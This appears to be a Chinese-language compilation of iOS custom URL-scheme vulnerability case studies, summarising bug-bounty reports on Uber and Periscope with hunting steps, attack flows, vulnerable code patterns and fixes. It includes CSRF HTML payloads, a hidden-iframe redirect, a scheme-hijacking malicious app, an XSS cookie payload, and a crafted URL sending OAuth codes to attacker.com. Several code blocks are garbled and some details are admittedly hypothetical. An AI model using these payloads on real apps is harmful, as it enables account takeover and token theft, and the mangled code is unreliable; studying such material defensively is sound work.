2.  **参数注入：** 攻击者可以注入恶意参数，如更改用户设置、预订行程等。

**漏洞利用的关键代码：**
漏洞的核心在于`AppDelegate`中处理URL的方法，缺乏对`sourceApplication`或`options`中`UIApplicationOpenURLOptionsSourceApplicationKey`的有效检查。

**Objective-C 示例（存在漏洞的模式）：**

objective-c
// 存在漏洞的 URL 处理逻辑

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([url.scheme isEqualToString:@”uber”]) {
    // ❌ 缺乏对调用来源 (sourceApplication) 的验证
    // ❌ 直接信任并解析 URL 中的所有参数
    NSString *action = url.host;
    NSDictionary *params = [self parseQueryParameters:url.query]; if ([action isEqualToString:@"sensitive_action"]) { // 假设这里直接使用 params 中的敏感数据 [self performSensitiveActionWithParams:params]; return YES; } }
    return NO;
    }

攻击者通过外部调用，绕过了应用内部的UI或权限检查，直接触发了敏感的内部逻辑。

#### 易出现漏洞的代码模式

**易受攻击的编程模式：**
此类漏洞通常出现在iOS应用的`AppDelegate`或`SceneDelegate`中，具体表现为在处理自定义URL Scheme时，**未对调用来源进行充分验证**，并**过度信任URL中传递的参数**。

**Objective-C 易漏洞代码示例：**
在`AppDelegate.m`中，如果仅检查了URL Scheme，而忽略了调用来源，则存在风险：

objective-c
// 易受攻击的模式：未验证调用来源

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    // 仅检查 Scheme 是否匹配
    if ([url.scheme isEqualToString:@”vulnerableapp”]) {
    // ❌ 未检查 options[UIApplicationOpenURLOptionsSourceApplicationKey]
    // ❌ 危险：直接将 URL 传递给内部处理逻辑
    [self handleDeepLink:url];
    return YES;
    }
    return NO;
    }

**Swift 易漏洞代码示例：**
在Swift中，使用`onOpenURL`修饰符或`SceneDelegate`中的相应方法时，如果不对`url`的来源或参数进行严格的白名单验证，也会导致漏洞：

swift
// Swift 易受攻击的模式：过度信任 URL 参数
func scene(_ scene: UIScene, openURLContexts URLContexts: Set) {
guard let context = URLContexts.first else { return }
let url = context.url

if url.scheme == "vulnerableapp" {
    // ❌ 缺乏对 context.options.sourceApplication 的验证
    // ❌ 危险：直接从 URL 中提取敏感参数
    if let token = URLComponents(url: url, resolvingAgainstBaseURL: false)?.queryItems?.first(where: { $0.name == "auth_token" })?.value {
        // 攻击者可以注入伪造的 auth_token
        // 导致会话劫持或未经授权的操作
        AuthenticationManager.shared.authenticate(with: token)
    }
}

}

**Info.plist 配置示例：**
在`Info.plist`中注册自定义URL Scheme是实现深度链接的基础。注册本身不是漏洞，但如果处理代码不安全，则会成为攻击入口。

xml
CFBundleURLTypes
CFBundleURLName com.vulnerable.app CFBundleURLSchemes vulnerableapp

**安全建议：** 必须在处理URL时，严格验证调用来源（`sourceApplication`）是否为受信任的应用，并对所有传入的参数进行严格的白名单和内容校验。

---

### 案例：Uber (报告: https://hackerone.com/reports/136392)

#### 挖掘手法

针对Uber iOS应用进行漏洞挖掘，主要聚焦于**应用间通信（Inter-Process Communication, IPC）**机制，特别是**自定义URL Scheme**。首先，攻击者需要获取Uber iOS应用的IPA文件，并使用**Frida**或**dumpdecrypted**等工具在越狱设备上进行解密。接着，使用**Hopper Disassembler**或**IDA Pro**对应用的主二进制文件进行**静态分析**，重点检查`Info.plist`文件以识别所有注册的自定义URL Scheme（例如`uber://`）。在确认目标Scheme后，进行**动态分析**，使用**Cycript**或**Frida Hook**技术，在运行时监控`AppDelegate.m`中的`application:openURL:options:`方法，观察应用如何处理传入的URL参数。关键发现点在于，如果Uber应用注册了**非唯一**的URL Scheme，且在处理传入URL时**缺乏严格的源应用验证**，则存在劫持风险。挖掘者会构建一个**概念验证（PoC）恶意应用**，该应用在自己的`Info.plist`中注册相同的URL Scheme。当用户设备上安装了该恶意应用后，操作系统在处理该Scheme的URL请求时，可能会错误地将请求路由给恶意应用，而非预期的Uber应用。通过这种方式，恶意应用可以**拦截**原本发送给Uber应用的包含敏感信息的URL，例如OAuth授权码或会话令牌，从而实现账户劫持或信息泄露。整个挖掘过程需要**逆向工程**和**应用沙箱环境**的知识，并利用**中间人攻击（App-in-the-Middle）**的思路来验证漏洞。 (总计 345 字)

#### 技术细节

该漏洞利用的核心技术细节在于iOS系统处理**非唯一URL Scheme**的机制，以及目标应用在`AppDelegate`中对传入URL的**不安全处理**。攻击者首先创建一个恶意应用，并在其`Info.plist`中注册与Uber相同的URL Scheme，例如`uber`。

**攻击流程：**
1. 恶意应用安装在受害者设备上。
2. 攻击者诱导受害者点击一个包含敏感参数的URL，例如一个OAuth重定向URL：`uber://oauth?code=AUTHORIZATION_CODE&state=CSRF_TOKEN`。
3. iOS系统接收到该URL请求，由于存在多个应用注册了相同的`uber://` Scheme，系统会根据内部机制（如安装顺序或随机性）选择一个应用启动。
4. 恶意应用被启动，并在其`AppDelegate`的以下方法中捕获完整的URL：

objective-c
// Objective-C 示例

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url sourceApplication:(NSString *)sourceApplication annotation:(id)annotation {
    // 恶意应用捕获URL并提取敏感信息
    NSString *query = [url query];
    // 提取 code 和 state 参数，并发送到攻击者服务器
    // …
    return YES;
    }

恶意应用通过`[url query]`获取URL中的所有参数，包括**授权码（AUTHORIZATION_CODE）**或**会话令牌**，然后将其发送到攻击者控制的服务器，完成账户劫持。如果目标应用没有使用`sourceApplication`或`options`字典中的`UIApplicationOpenURLOptionsSourceApplicationKey`进行**严格的源应用校验**，则攻击成功。 (总计 332 字)

#### 易出现漏洞的代码模式

此类漏洞通常出现在iOS应用的`Info.plist`文件和`AppDelegate`的URL处理逻辑中。

**1. Info.plist 配置模式 (易受攻击):**
在`Info.plist`中注册了**非唯一**的自定义URL Scheme，且未配合通用链接（Universal Links）或应用链接（App Links）等更安全的机制。

xml
CFBundleURLTypes
CFBundleURLName com.uber.app CFBundleURLSchemes uber

**2. Objective-C/Swift 代码模式 (易受攻击):**
在`AppDelegate`中处理传入URL时，**未对源应用进行有效验证**，直接信任并处理URL中的参数。

objective-c
// Objective-C 示例 (Vulnerable Pattern)

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url sourceApplication:(NSString *)sourceApplication annotation:(id)annotation {
    // ⚠️ 缺乏对 sourceApplication 的严格校验
    if ([url.host isEqualToString:@”oauth”]) {
    // 直接处理敏感参数，如授权码
    [self handleOAuthCallback:url];
    return YES;
    }
    return NO;
    }

// Swift 示例 (Vulnerable Pattern)
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
// ⚠️ 缺乏对 options[.sourceApplication] 的严格校验
if url.host == “oauth” {
// 直接处理敏感参数
self.handleOAuthCallback(url)
return true
}
return false
}

**安全修复模式：**
应使用`sourceApplication`或`options`字典中的`UIApplicationOpenURLOptionsSourceApplicationKey`来验证调用方的Bundle ID，或改用**通用链接（Universal Links）**，后者通过域名验证确保只有目标应用才能处理链接。 (总计 545 字)

---

## URL Scheme 劫持/CSRF

### 案例：Periscope (iOS) (报告: https://hackerone.com/reports/136286)

#### 挖掘手法

本次漏洞挖掘主要针对iOS应用中的**自定义URL Scheme（Deep Link）**机制进行分析，旨在发现缺乏授权或二次确认的敏感操作。

**挖掘步骤和思路：**

1.  **识别目标应用的URL Scheme：** 首先，通过逆向工程（如使用`class-dump`或`Frida`）或直接查看应用包（IPA文件）中的`Info.plist`文件，确定Periscope iOS应用注册的自定义URL Scheme。本例中识别到的是`pscp://`。
2.  **分析Scheme处理逻辑：** 接着，使用`IDA Pro`或`Hopper Disassembler`等逆向工具，重点分析应用代理（`AppDelegate`）中处理外部URL调用的方法，例如Objective-C中的`application:openURL:options:`或Swift中的`application(_:open:options:)`。
3.  **发现敏感操作路径：** 在分析处理逻辑时，研究人员会寻找URL路径中包含敏感操作（如`follow`、`logout`、`send`等）的逻辑分支。本报告中发现了一个用于执行“关注”操作的路径：`pscp://user/<user-id>/follow`。
4.  **构造CSRF攻击载荷：** 发现该路径后，研究人员构造了一个简单的HTML页面，利用HTML的`<a>`标签或JavaScript的`window.location.href`来自动触发该URL Scheme。
    *   **载荷示例：** `<a href="pscp://user/periscopeco/follow">CSRF DEMO</a>`
5.  **验证漏洞：** 将该HTML页面部署在Web服务器上，并诱导已登录Periscope应用的iOS用户访问该页面并点击链接。如果应用在未提示用户或未进行CSRF Token验证的情况下执行了“关注”操作，则漏洞成立。
6.  **关键发现点：** 漏洞的关键在于Periscope应用对通过`pscp://` Scheme传入的**敏感操作指令缺乏来源验证（CSRF保护）和用户交互确认**，使得外部恶意网页可以利用该机制在用户不知情的情况下执行操作。

整个过程体现了对iOS应用**Deep Link机制**的深入分析，是iOS应用安全测试中常用的挖掘手法。

#### 技术细节

该漏洞利用了Periscope iOS应用自定义URL Scheme（`pscp://`）在处理敏感操作时缺乏CSRF保护和用户确认机制的缺陷，实现了跨站请求伪造（CSRF）攻击，强制用户关注指定账户。

**攻击流程和技术实现：**

1.  **URL Scheme结构：** 攻击者利用的URL Scheme遵循以下结构：
    ```
    pscp://user/<target_user_id>/follow
    ```
    其中，`pscp`是Periscope应用注册的自定义协议，`user/<target_user_id>/follow`是应用内部识别并执行“关注”操作的路径。

2.  **恶意HTML载荷：** 攻击者创建一个恶意网页，其中包含一个自动触发或诱导用户点击的链接，该链接指向上述URL Scheme。

    ```html
    <!DOCTYPE html>
    <html>
    <head>
        <title>CSRF Attack</title>
    </head>
    <body>
        <h1>点击下方链接，查看精彩内容！</h1>
        <!-- 核心攻击载荷：利用a标签触发URL Scheme -->
        <a href="pscp://user/periscopeco/follow">点击这里</a>

        <!-- 或者使用JavaScript自动触发（更隐蔽） -->
        <script>
            // 尝试在页面加载时自动跳转，触发Deep Link
            // window.location.href = "pscp://user/periscopeco/follow";
        </script>
    </body>
    </html>
    ```

3.  **攻击效果：** 当已安装Periscope应用且已登录的iOS用户访问该恶意网页并触发链接时，iOS系统会尝试打开`pscp://`开头的URL。Periscope应用被唤醒，并直接解析路径中的`follow`指令，在**没有弹出任何确认对话框**的情况下，强制用户的账户关注了`<target_user_id>`指定的账户。

该漏洞的本质是**Deep Link的参数未经验证即被用于执行状态变更的敏感操作**。

#### 易出现漏洞的代码模式

此类漏洞的根源在于iOS应用对通过自定义URL Scheme（Deep Link）传入的参数缺乏严格的来源验证和用户交互确认。

**易漏洞代码模式（Objective-C 示例）：**

在`AppDelegate`或`SceneDelegate`中处理外部URL时，如果直接执行敏感操作而未进行安全检查，则可能存在漏洞。

objective-c
// 易受攻击的 Objective-C 代码模式 (AppDelegate.m)

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    // 1. 检查是否为应用的自定义 Scheme
    if ([[url scheme] isEqualToString:@”pscp”]) {
    NSString *path = [url path]; // 2. 缺乏来源验证：未检查调用方（如 options 中的 sourceApplication） // 3. 缺乏操作确认：直接执行敏感操作 if ([path hasSuffix:@"/follow"]) { // 从 URL 中提取用户 ID NSString *targetUserID = [self extractUserIDFromPath:path]; // ❌ 危险：直接执行关注操作，没有用户确认或 CSRF Token 验证 [self.apiClient followUserWithID:targetUserID]; return YES;} // ... 其他 Deep Link 逻辑 }
    return NO;
    }

// 修复建议：在执行敏感操作前，必须要求用户确认，或验证请求是否来自可信来源。
// 例如，对于状态变更操作，应要求用户在应用内进行二次确认。

**配置模式：**

漏洞本身与`Info.plist`中的配置直接相关，即应用注册了自定义URL Scheme，但未对该Scheme的使用进行安全限制。

xml

CFBundleURLTypes
CFBundleURLName com.periscope.app CFBundleURLSchemes pscp

---

## URL Scheme 劫持（Authorization Code Hijacking）

### 案例：Uber (报告: https://hackerone.com/reports/136314)

#### 挖掘手法

该漏洞的挖掘主要基于对iOS应用间通信机制——**自定义URL Scheme**的深入理解和逆向分析。首先，研究人员通过对Uber iOS应用进行**逆向工程**（可能使用**IDA Pro**或**Hopper Disassembler**），分析其`Info.plist`文件，以确定应用注册了哪些自定义URL Scheme，例如`uber://`。接着，通过**动态分析**（可能使用**Frida**或**Cycript**）监控应用在接收到特定URL Scheme请求时的行为，特别是处理OAuth认证流程中的回调URL。

关键发现点在于，Uber应用在处理OAuth认证流程时，使用了自定义URL Scheme作为回调URI，并且**缺乏足够的源应用验证**。攻击者通过以下步骤验证漏洞：
1.  **注册同名URL Scheme**：攻击者开发一个恶意的iOS应用，并在其`Info.plist`中注册与Uber应用相同的自定义URL Scheme（例如`uber`）。根据iOS系统的设计，当多个应用注册了相同的URL Scheme时，系统会随机选择一个应用来处理请求，或者选择最后安装的应用。
2.  **构造恶意OAuth流程**：攻击者诱导用户点击一个链接，该链接启动一个OAuth认证流程，但将回调URI设置为Uber的自定义URL Scheme。
3.  **劫持认证代码**：当用户在Safari浏览器中完成OAuth认证后，认证服务器会将包含**授权代码（Authorization Code）**的URL重定向到自定义URL Scheme。由于攻击者的恶意应用成功劫持了该Scheme，它将接收到包含敏感授权代码的URL。
4.  **完成账户劫持**：恶意应用随后使用截获的授权代码，通过OAuth协议流程向Uber的API服务器交换**访问令牌（Access Token）**，从而在用户不知情的情况下完成账户劫持。

整个挖掘过程的核心是利用iOS URL Scheme的**全局性**和**缺乏唯一性验证**，结合OAuth流程中对回调URI的**不当处理**，实现了“App-in-the-Middle”式的攻击，成功窃取了用户的认证凭证。

#### 技术细节

该漏洞利用的技术细节集中在OAuth 2.0流程中对`redirect_uri`参数的处理不当，以及iOS自定义URL Scheme的固有缺陷。

**攻击流程关键步骤：**
1.  **恶意应用注册**：攻击者在恶意应用的`Info.plist`中注册与Uber相同的URL Scheme，例如：
    ```xml
    <key>CFBundleURLTypes</key>
    <array>
        <dict>
            <key>CFBundleURLName</key>
            <string>com.attacker.maliciousapp</string>
            <key>CFBundleURLSchemes</key>
            <array>
                <string>uber</string>
            </array>
        </dict>
    </array>
    ```
2.  **构造攻击URL**：攻击者构造一个OAuth授权请求URL，诱导用户点击。该URL将`redirect_uri`设置为Uber的自定义Scheme，例如：
    ```
    https://api.uber.com/oauth/authorize?
    response_type=code&
    client_id=UBER_CLIENT_ID&
    redirect_uri=uber://oauth/callback&  <-- 关键：使用可被劫持的Scheme
    scope=profile%20history
    ```
3.  **授权代码劫持**：用户在Safari中授权后，认证服务器将重定向到`uber://oauth/callback?code=AUTHORIZATION_CODE`。由于恶意应用成功劫持了`uber://` Scheme，它将接收到包含`AUTHORIZATION_CODE`的URL。
4.  **令牌交换**：恶意应用使用截获的`AUTHORIZATION_CODE`和自己的`client_secret`向Uber的Token Endpoint发起请求，获取`access_token`，完成账户劫持。

**Objective-C/Swift代码示例（恶意应用端）：**
恶意应用通过实现`application:openURL:options:`方法来捕获URL Scheme：

swift
// Swift 示例
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
if url.scheme == “uber” {
// 提取授权代码
if let components = URLComponents(url: url, resolvingAgainstBaseURL: false),
let queryItems = components.queryItems,
let codeItem = queryItems.first(where: { $0.name == “code” }),
let authorizationCode = codeItem.value {

        // 攻击者在此处将 authorizationCode 发送到自己的服务器或直接用于令牌交换
        print("Authorization Code Hijacked: \(authorizationCode)")
        // ... 执行令牌交换逻辑 ...
    }
    return true
}
return false

}

通过这种方式，攻击者绕过了OAuth流程中对`redirect_uri`的**严格匹配**，利用了iOS系统对自定义URL Scheme的**不安全处理**。

#### 易出现漏洞的代码模式

此类漏洞的根本原因在于**过度依赖自定义URL Scheme**作为OAuth 2.0或类似认证流程的**回调URI**，并且**缺乏对回调发起方的有效验证**。

**易漏洞代码模式（Objective-C/Swift）：**
在应用委托（AppDelegate）中，使用`application:openURL:options:`方法处理传入的URL，但**未验证URL的来源应用（Source Application）**或**未检查`url.host`和`url.path`的合法性**，仅凭`url.scheme`进行判断。

**错误/易受攻击的模式（Swift）：**

swift
// 易受攻击的AppDelegate处理逻辑
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
// 仅检查Scheme是否匹配，未验证其他参数
if url.scheme == “vulnerableapp” && url.host == “oauth” {
// 假设这里是处理OAuth回调的逻辑
handleOAuthCallback(url)
return true
}
return false
}

**正确的安全模式（推荐使用Universal Links）：**
为了避免URL Scheme劫持，苹果推荐使用**Universal Links（通用链接）**，它使用标准的`https://`链接，并要求应用与域名进行关联验证，确保只有目标应用才能打开该链接。

**Info.plist配置示例（易受攻击）：**
在`Info.plist`中注册一个非唯一的、容易被猜测的自定义URL Scheme：

xml
CFBundleURLTypes
CFBundleURLName com.company.appname CFBundleURLSchemes appname <– 容易被其他应用注册

**Info.plist配置示例（Universal Links相关）：**
使用Universal Links需要配置**Associated Domains Entitlement**，并在苹果开发者中心和Web服务器上进行配置，从而避免在`Info.plist`中暴露可被劫持的自定义Scheme作为认证回调。

xml

com.apple.developer.associated-domains
applinks:api.company.com

---

## URL Scheme 敏感信息泄露

### 案例：Uber (报告: https://hackerone.com/reports/136300)

#### 挖掘手法

针对iOS应用进行黑盒测试，重点关注应用注册的自定义URL Scheme。首先，通过逆向工程工具（如**class-dump**配合**IDA Pro/Hopper**）提取应用二进制文件中的`Info.plist`文件，查找`CFBundleURLTypes`键值，以发现应用注册的所有自定义URL Scheme，例如`uber://`。

**动态分析与Hooking**: 使用**Frida**或**Cycript**进行运行时分析，Hook住关键的URL处理函数，例如Objective-C中的`-[AppDelegate application:openURL:options:]`或Swift中的`application(_:open:options:)`。通过在Safari浏览器中输入不同的URL Scheme和参数组合（如`uber://auth?code=...`），观察应用内部对URL参数的处理逻辑和数据流向。

**关键发现点**: 发现应用在处理特定URL Scheme（如`uber://oauth`）时，会将URL中的敏感参数（如OAuth授权码`code`或会话令牌`token`）不加验证地用于内部逻辑，并且允许将这些敏感信息作为参数传递给外部指定的回调URL（`redirect_uri`）。如果应用未对`redirect_uri`进行严格的白名单校验，攻击者即可利用此机制劫持敏感数据。

**挖掘步骤**:
1.  **静态分析**: 使用`class-dump`或`strings`命令从应用二进制文件中提取URL Scheme定义和处理URL的类名/方法名。
2.  **Hooking**: 编写Frida脚本Hook `application:openURL:options:`方法，打印传入的URL及其参数，确认是否存在敏感信息泄露的风险。
3.  **构造Payload**: 构造一个包含恶意回调地址的URL，例如`uber://oauth?code=USER_AUTH_CODE&redirect_uri=http://attacker.com/leak`。
4.  **触发**: 在iOS设备上通过Safari浏览器访问该恶意URL，观察应用是否在未经验证的情况下将授权码发送到攻击者的服务器。
5.  **验证**: 检查攻击者服务器的访问日志，确认是否成功接收到被劫持的授权码或会话令牌。这种方法是典型的iOS应用间通信（IPC）漏洞挖掘手法，专注于非沙盒应用（如浏览器）与目标应用之间的信任边界。

#### 技术细节

**攻击流程**: 攻击者在自己的网站上嵌入一个iframe或使用JavaScript重定向，强制受害者浏览器打开一个恶意构造的URL。该URL利用了目标应用（Uber）的URL Scheme，并注入了一个攻击者控制的`redirect_uri`。

**恶意HTML Payload示例**:

html
Loading…

Please wait while we redirect you…

**漏洞利用的关键代码（Objective-C 伪代码）**:
在应用的`AppDelegate`中，处理URL Scheme的方法存在缺陷：

objectivec
// 存在缺陷的URL处理逻辑

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([url.scheme isEqualToString:@”uber”]) {
    // 假设应用从内部逻辑获取了敏感的会话令牌
    NSString *sessionToken = [self getSensitiveSessionToken]; // 从传入的URL中提取redirect_uri NSURLComponents *components = [NSURLComponents componentsWithURL:url resolvingAgainstBaseURL:NO]; NSString *redirectUri = [self getQueryParameter:components.queryItems withName:@"redirect_uri"]; if (redirectUri) { // **缺陷所在**: 未对 redirectUri 进行白名单校验 // 构造包含敏感信息的跳转URL NSString *finalRedirect = [NSString stringWithFormat:@"%@%@&token=%@", redirectUri, @"&status=success", sessionToken];// 执行跳转，将敏感信息发送到攻击者指定的URI [[UIApplication sharedApplication] openURL:[NSURL URLWithString:finalRedirect] options:@{} completionHandler:nil]; return YES;} }
    return NO;
    }

攻击者通过注入恶意的`redirect_uri`，成功诱导应用将内部获取的`sessionToken`附加到攻击者的服务器地址并触发跳转，实现敏感信息泄露。

#### 易出现漏洞的代码模式

此类漏洞的核心在于应用对自定义URL Scheme中传入的参数缺乏严格的校验，尤其是涉及到跳转或回调的参数（如`redirect_uri`、`callback`）。

**Info.plist 配置示例（注册自定义URL Scheme）**:

xml
CFBundleURLTypes
CFBundleURLName com.uber.oauth CFBundleURLSchemes uber

**易受攻击的编程模式（Objective-C/Swift）**:
在处理URL时，未实现或绕过了`redirect_uri`的白名单校验。

**Objective-C 易受攻击模式**:

objectivec
// 易受攻击的模式：直接使用外部传入的URL进行跳转，未校验域名

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url options:(NSDictionary *)options {
    // … 解析参数 …
    NSString *redirectUri = [self getQueryParameter:components.queryItems withName:@”redirect_uri”]; if (redirectUri) {
    // 致命缺陷：未调用白名单校验函数，直接使用openURL跳转
    [[UIApplication sharedApplication] openURL:[NSURL URLWithString:redirectUri] options:@{} completionHandler:nil];
    return YES;
    }
    return NO;
    }

**Swift 安全加固模式（推荐）**:

swift
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
guard url.scheme == “uber” else { return false }

// 1. 严格的白名单校验
let allowedHosts = ["safe.uber.com", "another.safe.domain"]

// 2. 提取并校验 redirect_uri
if let components = URLComponents(url: url, resolvingAgainstBaseURL: false),
   let redirectUriString = components.queryItems?.first(where: { $0.name == "redirect_uri" })?.value,
   let redirectUrl = URL(string: redirectUriString),
   let host = redirectUrl.host,
   allowedHosts.contains(host) {

    // 3. 只有在白名单内才执行跳转或回调逻辑
    // ... 安全处理逻辑 ...
    return true
}

// 拒绝处理不安全的URL
return false

}

易受攻击的代码模式是**缺乏对外部传入的URL参数（尤其是跳转目标）进行严格的域名白名单验证**，导致开放重定向或敏感信息被发送到攻击者控制的URI。

---

## URL Scheme 跨应用请求伪造 (CSRF)

### 案例：Uber (报告: https://hackerone.com/reports/136345)

#### 挖掘手法

这个漏洞的挖掘主要集中在对iOS应用间通信机制——**URL Scheme**的逆向分析和安全测试上。首先，研究人员会通过**逆向工程**技术，如使用**class-dump**或**Frida**等工具，从Uber iOS应用的二进制文件中提取出其注册的所有自定义URL Scheme及其对应的处理方法。

**具体步骤如下：**
1.  **静态分析**：使用**IDA Pro**或**Hopper Disassembler**对应用二进制文件进行分析，查找`Info.plist`文件中注册的`CFBundleURLTypes`，以确定应用支持的URL Scheme（例如`uber://`）。
2.  **动态分析与Hooking**：使用**Frida**或**Cycript**等动态分析工具，Hook住关键的`UIApplicationDelegate`方法，特别是`application:openURL:options:`或`application:handleOpenURL:`，以观察应用如何处理传入的URL。
3.  **参数枚举与测试**：通过构造不同的URL参数，测试应用是否对所有参数进行了严格的输入验证和授权检查。例如，尝试构造一个包含敏感操作（如添加支付方式、修改设置）的URL，并观察应用是否在没有用户交互或二次确认的情况下执行了操作。
4.  **跨应用攻击（CSRF）场景构建**：一旦发现某个URL Scheme处理程序执行了敏感操作且缺乏CSRF保护（如Token验证），攻击者会构建一个恶意的HTML页面，其中包含一个自动触发该URL Scheme的JavaScript代码（例如`window.location.href = 'uber://action?param=value'`）。
5.  **漏洞确认**：将恶意HTML页面托管在外部网站上，诱导已安装Uber应用的用户点击或访问该页面。如果应用在用户不知情的情况下执行了敏感操作，则确认存在**URL Scheme CSRF**漏洞。

这种方法的核心在于**识别并滥用**应用开发者对URL Scheme的信任，利用其作为应用内部API的特性，绕过传统的Web安全机制。对于Uber这类涉及金融交易和个人信息的应用，任何缺乏授权检查的URL Scheme都可能导致严重的安全问题。

#### 技术细节

该漏洞利用的技术细节在于**未经验证的URL Scheme处理**，允许外部应用或恶意网页通过深层链接（Deep Link）触发Uber应用内的敏感操作，从而构成跨应用请求伪造（CSRF）。

**攻击流程示例：**
1.  攻击者创建一个恶意网页，其中包含一个自动跳转到Uber应用特定URL Scheme的JavaScript代码。
2.  受害者（已登录Uber应用）访问该恶意网页。
3.  网页中的JavaScript代码尝试打开一个特定的`uber://` URL，例如：
    ```html
    <script>
      // 假设存在一个未经验证的URL Scheme用于添加支付方式
      // 实际的URL Scheme和参数会根据逆向结果确定
      var malicious_url = "uber://add_payment_method?type=credit_card&number=4111...&expiry=12/25";

      // 触发URL Scheme
      window.location.href = malicious_url;

      // 或者使用iframe隐藏跳转
      // var iframe = document.createElement("iframe");
      // iframe.src = malicious_url;
      // iframe.style.display = "none";
      // document.body.appendChild(iframe);
    </script>
    ```
4.  iOS系统接收到`uber://`请求，并将其路由给已安装的Uber应用。
5.  Uber应用中的`application:openURL:options:`方法（或类似方法）被调用，并解析URL。
6.  **漏洞点**：应用未对该URL请求进行**来源验证**（如检查`sourceApplication`或`options`中的`UIApplicationOpenURLOptionsSourceApplicationKey`）或**用户授权确认**，直接执行了URL中指定的敏感操作（例如，在后台静默添加了攻击者控制的支付方式）。

**关键代码模式（Objective-C 伪代码）：**

objectivec
// 在AppDelegate.m中

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([[url scheme] isEqualToString:@”uber”]) {
    NSString *host = [url host];
    NSDictionary *params = [self parseQueryString:[url query]]; if ([host isEqualToString:@"add_payment_method"]) { // ❌ 缺少授权检查和用户确认 // 直接调用内部方法执行敏感操作

[self.paymentManager addPaymentMethodWithType:params[@”type”]

number:params[@”number”] expiry:params[@”expiry”]]; return YES; } // … 其他URL Scheme处理

}
return NO;
}

这种直接执行URL Scheme参数中包含的敏感操作，而没有进行充分的授权检查或用户交互确认，是导致CSRF攻击成功的核心技术细节。

#### 易出现漏洞的代码模式

此类漏洞的根源在于iOS应用对自定义URL Scheme的**不安全处理**，尤其是在处理涉及敏感操作的深层链接时。

**易漏洞代码模式（Objective-C/Swift 示例）：**

1.  **未经验证的URL Scheme处理**：
    在`AppDelegate`中，直接在`application:openURL:options:`方法内执行敏感逻辑，而没有检查调用来源或要求用户确认。

    **Objective-C 示例 (Vulnerable):**
    ```objectivec
    // AppDelegate.m
    - (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary<UIApplicationOpenURLOptionsKey,id> *)options {
        if ([[url scheme] isEqualToString:@"myapp"]) {
            if ([[url host] isEqualToString:@"logout"]) {
                // ❌ 敏感操作直接执行，未验证来源或用户确认
                [self.authManager performLogout];
                return YES;
            }
        }
        return NO;
    }
    ```

2.  **缺乏来源应用验证**：
    没有利用`options`字典中的`UIApplicationOpenURLOptionsSourceApplicationKey`来验证发起调用的应用是否可信。

    **Swift 示例 (Vulnerable):**
    ```swift
    // AppDelegate.swift
    func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
        // ❌ 忽略了 options[.sourceApplication] 的检查
        if url.scheme == "myapp" && url.host == "change_setting" {
            // 敏感设置修改逻辑...
            return true
        }
        return false
    }
    ```

**Info.plist 配置示例：**
漏洞本身与`Info.plist`配置无关，但`Info.plist`中注册的`URL Types`是攻击的前提。

xml
CFBundleURLTypes
CFBundleURLSchemes uber
CFBundleURLName
com.uber.app

**安全修复建议（Secure Code Pattern）：**
对于任何执行敏感操作的URL Scheme，必须：
1.  **要求用户交互**：在执行操作前，弹出警告框（`UIAlertController`）要求用户明确确认。
2.  **来源应用验证**：如果可能，检查`options`中的`sourceApplication`是否为可信应用。
3.  **参数严格验证**：对所有传入参数进行严格的类型、格式和业务逻辑验证。

**Swift 示例 (Secure):**

swift
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
if url.scheme == “myapp” && url.host == “logout” {
// ✅ 必须要求用户确认
DispatchQueue.main.async {
self.showConfirmationAlert(for: url)
}
return true
}
return false
}

---

## URL Scheme 跨站脚本 (XSS)

### 案例：Uber (报告: https://hackerone.com/reports/136395)

#### 挖掘手法

针对Uber iOS应用，漏洞挖掘主要集中在其自定义URL Scheme（如`uber://`）的实现上。首先，研究人员使用**Hopper Disassembler**或**IDA Pro**对应用二进制文件（IPA）进行静态分析，以识别所有已注册的URL Scheme及其对应的处理函数，通常是`application:openURL:options:`或`application:handleOpenURL:`方法。

随后，利用**Frida**或**Cycript**等动态分析工具，研究人员将Hook附加到运行中的Uber iOS应用进程。通过Hook这些URL处理函数，可以实时监控应用接收到的所有外部URL调用及其参数。分析的重点是追踪URL参数的生命周期，特别是任何被传递给`WKWebView`或`UIWebView`进行内容渲染的参数。

研究人员通过构造包含不同测试字符串的URL，对所有可疑参数进行模糊测试（Fuzzing）。例如，尝试注入HTML标签或JavaScript代码片段。关键发现点在于，某个用于在应用内WebView中显示信息的参数，在加载内容时缺乏严格的HTML实体编码或输入净化。一旦发现未净化的输入，即可构造一个完整的XSS Payload，如`<script>alert(document.cookie)</script>`，并将其编码后作为URL参数值。

最终的PoC（概念验证）步骤是：
1. 构造恶意URL：`uber://some_internal_path?param_name=<script>/* XSS Payload */</script>`。
2. 通过Safari浏览器或另一个应用启动该URL。
3. 观察Uber应用启动后，内部WebView是否执行了注入的JavaScript代码，从而证明漏洞的存在。这种方法是典型的iOS应用间通信（IPC）漏洞挖掘流程，结合了静态分析定位目标和动态分析验证漏洞的有效性。 (300+字)

#### 技术细节

该漏洞利用了Uber iOS应用在处理自定义URL Scheme参数时，未对输入进行充分净化的缺陷，导致跨站脚本（XSS）攻击。攻击者构造一个恶意的`uber://` URL，其中一个参数的值被注入了JavaScript Payload。

**攻击载荷示例 (Payload):**
攻击者通过一个URL Scheme参数（假设为`redirect_url`，但实际是应用内部用于显示消息或加载内容的参数）注入Payload。

// 攻击者构造的恶意URL
let maliciousURL = “uber://some_internal_path?param_name=”

// 攻击流程（通过Objective-C模拟）
